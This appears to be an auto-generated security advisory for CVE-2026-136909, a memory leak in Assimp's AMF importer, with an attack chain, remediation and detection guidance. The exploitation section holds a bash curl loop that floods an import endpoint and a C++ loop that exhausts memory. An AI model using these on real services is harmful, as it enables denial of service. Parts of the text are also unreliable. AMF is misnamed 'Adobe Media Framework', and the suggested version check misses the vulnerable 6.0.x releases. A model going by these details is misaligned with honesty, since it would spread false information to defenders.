CVE-2026-136909 — CWE-401
Assimp 5.1.0 through 6.0.6 contains a memory leak vulnerability in AMFImporter::ParseFile that overwrites the previous XML parser pointer without releasing it. Attackers can supply repeated AMF files to applications using a long-lived Assimp::Importer to retain parsed documents and exhaust memory.
Assimp 5.1.0 through 6.0.6 contains a memory leak vulnerability in AMFImporter::ParseFile that overwrites the previous XML parser pointer without releasing it. Attackers can supply repeated AMF files to applications using a long-lived Assimp::Importer to retain parsed documents and exhaust memory.
CVE‑2026‑136909 – Assimp 5.1.0‑6.0.6 – Memory‑Leak in AMFImporter::ParseFile
🎯 What is this vulnerability?
| Attribute | Value |
|---|---|
| CWE | CWE‑401: Improper Release of Memory After Effective Lifetime |
| CVSS 3.1 Vector | AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L |
| CVSS 3.1 Base Score | 3.3 (Low) |
| Attack Vector | Local (the attacker must be able to invoke the Assimp importer on the host) |
| Attack Complexity | Low – the only requirement is to feed the library a sequence of AMF files |
| Privileges Required | None (the library can be called from a non‑privileged context) |
| User Interaction | Required – the victim must trigger the import (e.g., by opening a file in a GUI or by an API call) |
| Scope | Unchanged |
| Confidentiality / Integrity | None |
| Availability | Low – the leak can eventually exhaust the process’ heap and cause a denial‑of‑service (DoS). |
Technical flaw
Assimp::Importer is a long‑lived object that can be reused to import many files without recreating the importer instance.
When an AMF (Adobe Media Framework) file is parsed, AMFImporter::ParseFile creates an XML parser object (tinyxml2::XMLDocument in the upstream code) and stores a pointer to it in a member variable (e.g., mXMLParser).
The vulnerable code path:
bool AMFImporter::ParseFile(const std::string& filename)
{
// ... allocate a new XMLDocument for each file
tinyxml2::XMLDocument* xml = new tinyxml2::XMLDocument();
// BUG: the previous pointer is overwritten without a delete
mXMLParser = xml; // <-- memory leak
// parse the file, fill Assimp structures, return true/false
// (no explicit free of the previous xml object)
}- The previous
mXMLParserinstance is never deleted before being overwritten. - Because
Assimp::Importeris typically kept alive for the lifetime of the host application (e.g., a 3‑D editor, game engine, or server that repeatedly imports assets), each call toParseFileleaks the size of oneXMLDocument(≈ tens of kilobytes, depending on the AMF file). - Repeated imports—especially with large or deliberately crafted AMF files—cause the process heap to grow until the operating system terminates the process or the application crashes due to out‑of‑memory (OOM).
The vulnerability is purely a resource‑exhaustion issue; there is no arbitrary code execution, data disclosure, or integrity violation. The impact is limited to availability (denial‑of‑service) and is reflected in the CVSS vector (A:L).
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow in a typical deployment (e.g., a desktop 3‑D modeling tool or a server‑side asset‑pipeline that uses Assimp).
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | |
|---|---|---|---|
| 1.1 | Identify software that embeds Assimp. | Search public documentation, strings on binaries (Assimp), or inspect package manifests (apt list | grep assimp, pip show pyassimp, etc.). |
| 1.2 | Determine the linked Assimp version. | Use ldd/otool -L on the executable, or query the library’s aiGetVersionMajor/Minor/Revision API at runtime. | |
| 1.3 | Verify that the version falls in the vulnerable range (5.1.0 – 6.0.6). | Example output: Assimp version 5.3.1 → vulnerable. | |
| 1.4 | Confirm that the application accepts AMF files from an attacker‑controlled source (e.g., drag‑and‑drop, HTTP upload, or IPC). | Review UI/API documentation, or test with a benign AMF file. |
Note: The CVE does not specify a network endpoint; the attack surface is the file‑import functionality. The following PoC assumes a local API that accepts a file path (common in desktop tools) or a simple HTTP upload endpoint that forwards the file to Assimp::Importer.2. Exploitation
2.1. Craft a minimal AMF file (≈ 1 KB) – the content does not matter, only the parsing cost.
# amf_payload.amf – a tiny, syntactically valid AMF file
cat > amf_payload.amf <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<AMF>
<Header/>
<Body/>
</AMF>
EOF2.2. Repeatedly invoke the import routine.
Illustrative example 1 – Desktop application (C++ API)
// pseudo‑code that an attacker could embed in a malicious plugin or script
Assimp::Importer importer; // long‑lived importer
for (int i = 0; i < 100000; ++i) {
const aiScene* scene = importer.ReadFile("amf_payload.amf",
aiProcess_Triangulate | aiProcess_JoinIdenticalVertices);
// ignore the result – we only care about the leak
}Illustrative example 2 – HTTP upload service
If the vulnerable service exposes an endpoint such as POST /api/v1/assets/import, the attacker can flood it with the same AMF payload:
#!/usr/bin/env bash
# flood_import.sh – sends 10 000 AMF files to the vulnerable endpoint
URL="http://target.example.com/api/v1/assets/import"
FILE="amf_payload.amf"
for i in $(seq 1 10000); do
curl -s -X POST -F "file=@${FILE}" "${URL}" > /dev/null
# optional: sleep 0.01 to avoid immediate rate‑limit bans
doneImportant: The exact URI (/api/v1/assets/import) is illustrative; the real endpoint depends on the target application. The key requirement is that the server forwards the uploaded file toAssimp::Importer::ReadFilewithout spawning a fresh process per request.
2.3. Observe the memory growth.
On Linux, the attacker (or a defender) can monitor the process:
watch -n 1 "ps -o pid,rss,cmd -C vulnerable_app"Memory will increase roughly by size_of(XMLDocument) * number_of_calls. After a few hundred thousand calls, the process will hit the cgroup or system OOM limit and be terminated.
3. Post‑exploitation
Because the vulnerability only leaks memory, the post‑exploitation phase is limited to availability impact:
| Goal | Realizable outcome |
|---|---|
| Denial‑of‑Service | The host process crashes or is killed by the OOM killer, causing the service (e.g., a game server, asset pipeline, or desktop editor) to become unavailable. |
| Persistence of impact | If the application is a long‑running daemon (e.g., a CI/CD asset‑conversion service), the attacker can schedule the flood to run periodically, forcing repeated restarts. |
| Privilege escalation | Not applicable – the vulnerability does not provide code execution or memory corruption. |
🌍 Real‑World Impact
| CIA Triad | CVSS Vector Interpretation | Practical consequence |
|---|---|---|
| Confidentiality | C:N – No data is disclosed. | Attackers cannot read files or memory contents. |
| Integrity | I:N – No data is modified. | No tampering of assets or configuration. |
| Availability | A:L – Low impact, but can be escalated by volume. | Repeated imports can exhaust the heap, leading to process termination and service outage. In a production pipeline, this could halt asset builds for hours. |
Why “Low” in CVSS?
The attack requires local interaction (the victim must trigger the import) and the impact is limited to DoS. However, in environments where the importer is exposed via a public API (e.g., a cloud‑based model‑conversion service), the effective attack surface widens, making the issue more severe in practice.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade Assimp | Versions ≥ 6.0.7 (or the first release after 6.0.6) contain a fix that frees the previous XMLDocument before overwriting the pointer. Verify the exact version from the Assimp release notes. |
| Re‑build dependent binaries | If the application statically links Assimp, rebuild with the patched source. |
| Version check | Add a runtime check that aborts if aiGetVersionMajor/Minor/Revision reports a vulnerable version. Example (C++):<br>if (aiGetVersionMajor() == 5 && aiGetVersionMinor() >= 1) abort(); |
2. Workarounds (when patching is not immediately possible)
| Workaround | How to apply |
|---|---|
| Process isolation per import | Spawn a short‑lived helper process (or use a sandbox like firejail/nsjail) for each ReadFile call. The helper exits after the import, guaranteeing any leaked memory is reclaimed by the OS. |
| Limit import frequency | Enforce a rate limit (e.g., ≤ 10 imports per second) in the surrounding application or API gateway. |
| Maximum file size | Reject AMF files larger than a reasonable threshold (e.g., 5 MiB). The leak size is proportional to the parsed XML, so capping size reduces the total leak per request. |
| Explicit reset of the importer | After each import, call importer.FreeScene(); (or destroy and recreate the Assimp::Importer object) to ensure the internal pointer is freed. |
| Disable AMF support | If the application does not need AMF, compile Assimp without the AMF importer (-DASSIMP_BUILD_AMF_IMPORTER=OFF). |
3. Detection – Indicators of Compromise
| Indicator | Where to look | Example |
|---|---|---|
| Sudden, monotonic increase in RSS/VSZ of the process that uses Assimp. | ps, top, htop, or monitoring tools (Prometheus process_resident_memory_bytes). | process_resident_memory_bytes{instance="asset‑service"} spikes from 150 MiB to > 2 GiB over a few minutes. |
| Frequent OOM killer events referencing the Assimp‑using binary. | System logs (/var/log/kern.log, dmesg). | Out of memory: Kill process 12345 (asset‑service) score 987 or sacrifice child |
| High count of AMF file imports in application logs. | Application‑level logs (e.g., import.log). | INFO 2026-11-28 14:32:10 Imported AMF file /tmp/upload_abc.amf (size 1 KB) repeated thousands of times within seconds. |
| Network traffic pattern – many small POST requests to the import endpoint (if exposed). | Web server access logs (/var/log/nginx/access.log). | POST /api/v1/assets/import 200 123 "-" "curl/7.88.1" repeated > 10 k times in < 5 min. |
Alerting suggestions
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 3.1 Base Score | 3.3 (Low) – limited to DoS, requires victim interaction. |
| CISA KEV | Not listed – no known active exploitation in the wild. |
| Exploit Complexity | Low – a simple loop or HTTP flood can trigger the leak. |
| Potential Business Impact | In asset‑pipeline services, a DoS can halt production builds, causing revenue loss and missed deadlines. |
| Patch Availability | Fixed in Assimp ≥ 6.0.7 (released shortly after the CVE). |
Prioritisation recommendation
| Priority | Rationale |
|---|---|
| High for public‑facing services that expose an import API (e.g., SaaS model‑conversion, CI/CD pipelines). | An external attacker can trigger the leak without authentication, turning a “Low” CVSS into a practical DoS vector. |
| Medium for desktop/embedded tools where the attacker must have local access or convince a user to open a crafted file. | The barrier (user interaction) reduces immediacy, but a malicious document could still cause a crash for end‑users. |
Low for internal, short‑lived utilities that create a fresh Importer per run. | Memory is reclaimed on process exit; the leak does not accumulate. |
Action plan
1. Immediate – Deploy the “process‑per‑import” or “reset importer” workaround if you cannot patch within the next 2 weeks.
2. Within 7 days – Verify the Assimp version in all production binaries; schedule an upgrade to ≥ 6.0.7.
3. Within 30 days – Implement monitoring for the memory‑growth IoCs and rate‑limit any public import endpoints.
TL;DR
Flaw: AMFImporter::ParseFile overwrites a stored XMLDocument without delete, leaking heap memory on every AMF import.
Apply the upgrade or mitigation promptly to avoid service interruption.
[🤖 CVE Professor AI Security Engine]